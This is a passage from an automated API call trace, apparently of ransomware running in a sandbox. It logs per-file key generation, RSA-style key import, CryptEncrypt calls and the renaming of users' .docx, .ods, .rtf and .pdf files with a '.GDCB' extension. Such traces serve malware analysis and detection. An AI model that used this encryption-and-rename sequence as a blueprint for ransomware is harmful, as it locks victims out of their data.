pbBuffer=0x285f440) returned 1 [0139.070] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.070] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0139.072] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34d128) returned 1 [0139.072] CryptGetKeyParam (in: hKey=0x34d128, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0139.072] CryptEncrypt (in: hKey=0x34d128, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0139.072] GetLastError () returned 0x0 [0139.072] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.072] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0139.074] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34d228) returned 1 [0139.074] CryptGetKeyParam (in: hKey=0x34d228, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0139.074] CryptEncrypt (in: hKey=0x34d228, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0139.074] GetLastError () returned 0x0 [0139.074] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.074] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\pPZcbKQB2 6KmBkrXgk.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ppzcbkqb2 6kmbkrxgk.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0139.074] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0139.075] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.075] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x44ed, lpOverlapped=0x0) returned 1 [0139.085] VirtualAlloc (lpAddress=0x0, dwSize=0x44f0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0139.088] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\pPZcbKQB2 6KmBkrXgk.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ppzcbkqb2 6kmbkrxgk.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\pPZcbKQB2 6KmBkrXgk.docx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ppzcbkqb2 6kmbkrxgk.docx.gdcb")) returned 1 [0139.091] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0139.091] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.091] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.091] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0139.091] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.091] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0139.092] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.092] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.092] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0139.092] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.092] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0139.094] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34d268) returned 1 [0139.094] CryptGetKeyParam (in: hKey=0x34d268, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0139.094] CryptEncrypt (in: hKey=0x34d268, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0139.094] GetLastError () returned 0x0 [0139.094] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.095] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0139.096] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34d2a8) returned 1 [0139.096] CryptGetKeyParam (in: hKey=0x34d2a8, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0139.096] CryptEncrypt (in: hKey=0x34d2a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0139.097] GetLastError () returned 0x0 [0139.097] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.097] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\tKA0HHzsGkO.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\tka0hhzsgko.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0139.097] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0139.097] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.097] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x16fb2, lpOverlapped=0x0) returned 1 [0139.108] VirtualAlloc (lpAddress=0x0, dwSize=0x16fc0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0139.113] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\tKA0HHzsGkO.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\tka0hhzsgko.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\tKA0HHzsGkO.docx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\tka0hhzsgko.docx.gdcb")) returned 1 [0139.121] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed0e0) returned 1 [0139.121] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.122] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.122] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0139.122] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0139.122] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0139.122] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.122] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.122] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0139.122] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.122] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed300) returned 1 [0139.124] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34d2e8) returned 1 [0139.125] CryptGetKeyParam (in: hKey=0x34d2e8, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0139.125] CryptEncrypt (in: hKey=0x34d2e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0139.125] GetLastError () returned 0x0 [0139.125] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0139.125] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0139.127] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34d328) returned 1 [0139.127] CryptGetKeyParam (in: hKey=0x34d328, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0139.127] CryptEncrypt (in: hKey=0x34d328, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0139.127] GetLastError () returned 0x0 [0139.127] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.127] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\vWO_nHAQmsUVwAMd0Z82.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\vwo_nhaqmsuvwamd0z82.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0139.127] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0139.128] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.128] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0xb674, lpOverlapped=0x0) returned 1 [0139.138] VirtualAlloc (lpAddress=0x0, dwSize=0xb680, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0139.142] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\vWO_nHAQmsUVwAMd0Z82.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\vwo_nhaqmsuvwamd0z82.ods"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\vWO_nHAQmsUVwAMd0Z82.ods.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\vwo_nhaqmsuvwamd0z82.ods.gdcb")) returned 1 [0139.144] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed168) returned 1 [0139.144] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.144] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.144] CryptGenRandom (in: hProv=0x2ed168, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0139.144] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0139.144] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0139.145] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.145] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.145] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0139.145] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.145] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0139.147] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34d368) returned 1 [0139.147] CryptGetKeyParam (in: hKey=0x34d368, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0139.147] CryptEncrypt (in: hKey=0x34d368, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0139.147] GetLastError () returned 0x0 [0139.147] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.147] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed300) returned 1 [0139.149] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34d428) returned 1 [0139.149] CryptGetKeyParam (in: hKey=0x34d428, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0139.149] CryptEncrypt (in: hKey=0x34d428, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0139.149] GetLastError () returned 0x0 [0139.149] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0139.149] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\we _xEQTC-XaBOe0W.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\we _xeqtc-xaboe0w.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0139.149] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0139.150] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.150] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x4447, lpOverlapped=0x0) returned 1 [0139.159] VirtualAlloc (lpAddress=0x0, dwSize=0x4450, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0139.164] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\we _xEQTC-XaBOe0W.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\we _xeqtc-xaboe0w.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\we _xEQTC-XaBOe0W.docx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\we _xeqtc-xaboe0w.docx.gdcb")) returned 1 [0139.165] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0139.165] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0139.165] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0139.165] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0139.175] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0139.175] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.175] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.175] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0139.175] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0139.175] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0139.176] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.176] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.176] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0139.176] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.176] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0139.178] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x34d568) returned 1 [0139.178] CryptGetKeyParam (in: hKey=0x34d568, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.178] CryptEncrypt (in: hKey=0x34d568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0139.178] GetLastError () returned 0x0 [0139.178] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0139.178] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecca0) returned 1 [0139.180] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358e98) returned 1 [0139.180] CryptGetKeyParam (in: hKey=0x358e98, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.180] CryptEncrypt (in: hKey=0x358e98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0139.180] GetLastError () returned 0x0 [0139.180] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0139.180] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\68I4YY.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\68i4yy.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0139.180] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0139.181] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.181] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0xd8e3, lpOverlapped=0x0) returned 1 [0139.195] VirtualAlloc (lpAddress=0x0, dwSize=0xd8f0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0139.201] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\68I4YY.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\68i4yy.rtf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\68I4YY.rtf.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\68i4yy.rtf.gdcb")) returned 1 [0139.202] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0139.203] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.203] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.203] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0139.203] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.203] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0139.203] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.203] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.203] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0139.203] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.204] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.205] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358e18) returned 1 [0139.205] CryptGetKeyParam (in: hKey=0x358e18, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.205] CryptEncrypt (in: hKey=0x358e18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0139.206] GetLastError () returned 0x0 [0139.206] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.206] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.207] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358818) returned 1 [0139.208] CryptGetKeyParam (in: hKey=0x358818, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.208] CryptEncrypt (in: hKey=0x358818, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0139.208] GetLastError () returned 0x0 [0139.208] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.208] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\aD9d_LSzlGORTH_zOBw.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\ad9d_lszlgorth_zobw.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0139.208] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0139.208] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.208] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x1849d, lpOverlapped=0x0) returned 1 [0139.218] VirtualAlloc (lpAddress=0x0, dwSize=0x184a0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0139.223] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\aD9d_LSzlGORTH_zOBw.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\ad9d_lszlgorth_zobw.pdf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\wU6cO4bxfsD-glD-SMu\\aD9d_LSzlGORTH_zOBw.pdf.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wu6co4bxfsd-gld-smu\\ad9d_lszlgorth_zobw.pdf.gdcb")) returned 1 [0139.224] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0139.225] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.225] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 